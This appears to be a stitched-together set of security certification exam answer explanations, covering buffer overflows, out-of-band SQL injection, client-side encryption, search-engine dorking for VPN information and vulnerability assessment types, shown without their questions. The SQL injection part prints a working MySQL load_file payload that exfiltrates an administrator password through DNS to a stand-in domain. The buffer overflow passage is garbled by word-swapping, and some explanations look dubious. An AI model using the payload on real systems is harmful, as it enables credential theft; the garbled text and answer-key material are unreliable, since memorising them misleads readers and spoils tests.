What’s a buffer?A buffer, or data buffer, is a neighborhood of physical memory storage wont to temporarily store data while it’s being moved from one place to a different . These buffers typically sleep in RAM memory. Computers frequently use buffers to assist improve performance; latest hard drives cash in of buffering to efficiently access data, and lots of online services also use buffers. for instance , buffers are frequently utilized in online video streaming to stop interruption. When a video is streamed, the video player downloads and stores perhaps 20% of the video at a time during a buffer then streams from that buffer. This way, minor drops in connection speed or quick service disruptions won’t affect the video stream performance.Buffers are designed to contain specific amounts of knowledge . Unless the program utilizing the buffer has built-in instructions to discard data when an excessive amount of is shipped to the buffer, the program will overwrite data in memory adjacent to the buffer.Buffer overflows are often exploited by attackers to corrupt software. Despite being well-understood, buffer overflow attacks are still a serious security problem that torment cyber-security teams. In 2014 a threat referred to as ‘heartbleed’ exposed many many users to attack due to a buffer overflow vulnerability in SSL software.

How do attackers exploit buffer overflows?An attacker can deliberately feed a carefully crafted input into a program which will cause the program to undertake and store that input during a buffer that isn’t large enough, overwriting portions of memory connected to the buffer space. If the memory layout of the program is well-defined, the attacker can deliberately overwrite areas known to contain executable code. The attacker can then replace this code together with his own executable code, which may drastically change how the program is meant to figure .For example if the overwritten part in memory contains a pointer (an object that points to a different place in memory) the attacker’s code could replace that code with another pointer that points to an exploit payload. this will transfer control of the entire program over to theattacker’s code.

An ‘out-of-band’ SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application’s responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator’s password1.

References:

• 1: Out-of-band SQL injection | Learn AppSec | Invicti
• 2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy
• 3: SQLi part 6: Out-of-band SQLi | Acunetix

The best practice to meet the client’s requirement is to encrypt data client-side before uploading to the cloud and retain control of the encryption keys. This practice is also known as client-side encryption or end-to-end encryption, and it involves encrypting the data on the client’s device using a software or hardware tool that generates and manages the encryption keys. The encrypted data is then uploaded to the cloud service, where it remains encrypted at rest. The encryption keys are never shared with the cloud service provider or any third party, and they are only used by the client to decrypt the data when needed. This way, the client can maintain full control over the encryption keys and the security of the data, even when the data is stored on a public cloud service12.

The other options are not as optimal as option D for the following reasons:

• A. Use the cloud service provider’s encryption services but store keys on-premises: This option is not feasible because it contradicts the client’s requirement of maintaining full control over the encryption keys. Using the cloud service provider’s encryption services means that the client has to rely on the cloud service provider to generate and manage the encryption keys, even if the keys are stored on-premises. The cloud service provider may have access to the keys or the ability to decrypt the data, which may compromise the security and privacy of the data. Moreover, storing the keys on-premises may introduce additional challenges, such as key distribution, synchronization, backup, and recovery3.
• B. Use the cloud service provider’s default encryption and key management services: This option is not desirable because it violates the client’s requirement of maintaining full control over the encryption keys. Using the cloud service provider’s default encryption and key management services means that the client has to trust the cloud service provider to encrypt and decrypt the data on the server-side, using the cloud service provider’s own encryption keys and mechanisms. The cloud service provider may have access to the keys or the ability to decrypt the data, which may compromise the security and privacy of the data. Furthermore, the cloud service provider’s default encryption and key management services may not meet the regulatory requirements or the security standards of the client4.
• C. Rely on Secure Sockets Layer (SSL) encryption for data at rest: This option is not sufficient because SSL encryption is not designed for data at rest, but for data in transit. SSL encryption is a protocol that encrypts the data as it travels over the internet between the client and the server, using certificates and keys that are exchanged and verified by both parties. SSL encryption can protect the data from being intercepted or modified by unauthorized parties, but it does not protect the data from being accessed or decrypted by the cloud service provider or any third party who has access to the server. Moreover, SSL encryption does not provide the client with any control over the encryption keys or the security of the data.

References:

• 1: Client-side encryption - Wikipedia
• 2: What is Client-Side Encryption? | Definition, Benefits & Best Practices | Kaspersky
• 3: Cloud Encryption Key Management: What You Need to Know | Thales
• 4: Cloud Encryption: How It Works and How to Use It | Comparitech
• : What is SSL Encryption and How Does it Work? | Norton

The location: operator is the least useful in providing the attacker with sensitive VPN-related information, because it does not directly relate to VPN configuration, credentials, or vulnerabilities. The location: operator finds information for a specific location, such as a city, country, or region. For example, location:paris would return results related to Paris, France. However, this operator does not help the attacker to identify or access VPN servers or clients, unless they are specifically named or indexed by their location, which is unlikely.

The other operators are more useful in providing the attacker with sensitive VPN-related information, because they can help the attacker to find pages or files that contain VPN configuration, credentials, or vulnerabilities. The intitle: operator restricts results to only the pages containing the specified term in the title. For example, intitle:vpn would return pages with VPN in their title, which may include VPN guides, manuals, or tutorials. The inurl: operator restricts the results to only the pages containing the specified word in the URL. For example, inurl:vpn would return pages with VPN in their URL, which may include VPN login portals, configuration files, or directories. The link: operator searches websites or pages that contain links to the specified website or page. For example, link:vpn.com would return pages that link to vpn.com, which may include VPN reviews, comparisons, or recommendations. References:

• Google Search Operators: The Complete List (44 Advanced Operators)
• Footprinting through search engines
• Module 02: Footprinting and Reconnaissance

A service-based solution offered by an auditing firm would be the most appropriate type of vulnerability assessment solution for the large e-commerce organization, given their requirements. A service-based solution is a type of vulnerability assessment that is performed by external experts who have the skills, tools, and experience to conduct a thorough and comprehensive analysis of the target system or network. A service-based solution can imitate the outside view of attackers, as the experts are not familiar with the internal details or configurations of the organization. A service-based solution can also perform well-organized inference-based testing, which is a type of testing that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. A service-based solution can scan automatically against continuously updated databases, as the experts have access to the latest security intelligence and threat feeds. A service-based solution can also support multiple networks, as the experts can use different techniques and tools to scan different types of networks, such as wired, wireless, cloud, or hybrid12.

The other options are not as appropriate as option B for the following reasons:

• A. Inference-based assessment solution: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Inference-based testing is a testing method that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. Inference-based testing can be performed by service-based, product-based, or tree-based solutions, depending on the scope, objectives, and resources of the assessment3.
• C. Tree-based assessment approach: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Tree-based testing is a testing method that uses a hierarchical structure to organize and prioritize the vulnerabilities based on their severity, impact, and exploitability. Tree-based testing can be performed by service-based, product-based, or inference-based solutions, depending on the scope, objectives, and resources of the assessment4.
• D. Product-based solution installed on a private network: This option is a type of vulnerability assessment solution, but it may not meet all the requirements of the large e-commerce organization. A product-based solution is a type of vulnerability assessment that is performed by using software or hardware tools that are installed on the organization’s own network. A product-based solution can scan automatically against continuously updated databases, as the tools can be configured to download and apply the latest security updates and patches. However, a product-based solution may not imitate the outside view of attackers, as the tools may have limited access or visibility to the external network or the internet. A product-based solution may also not perform well-organized inference-based testing, as the tools may rely on predefined rules or signatures to detect and report vulnerabilities, rather than using logical reasoning and deduction. A product-based solution may also not support multiple networks, as the tools may be designed or optimized for a specific type of network, such as wired, wireless, cloud, or hybrid .

References:

• 1: Vulnerability Assessment Services | Rapid7
• 2: Vulnerability Assessment Services | IBM
• 3: Inference-Based Vulnerability Testing of Firewall Policies - IEEE Conference Publication
• 4: A Tree-Based Approach for Vulnerability Assessment - IEEE Conference Publication
• : Vulnerability Assessment Tools | OWASP Foundation
• : Vulnerability Assessment Solutions: Why You Need One and How to Choose | Defensible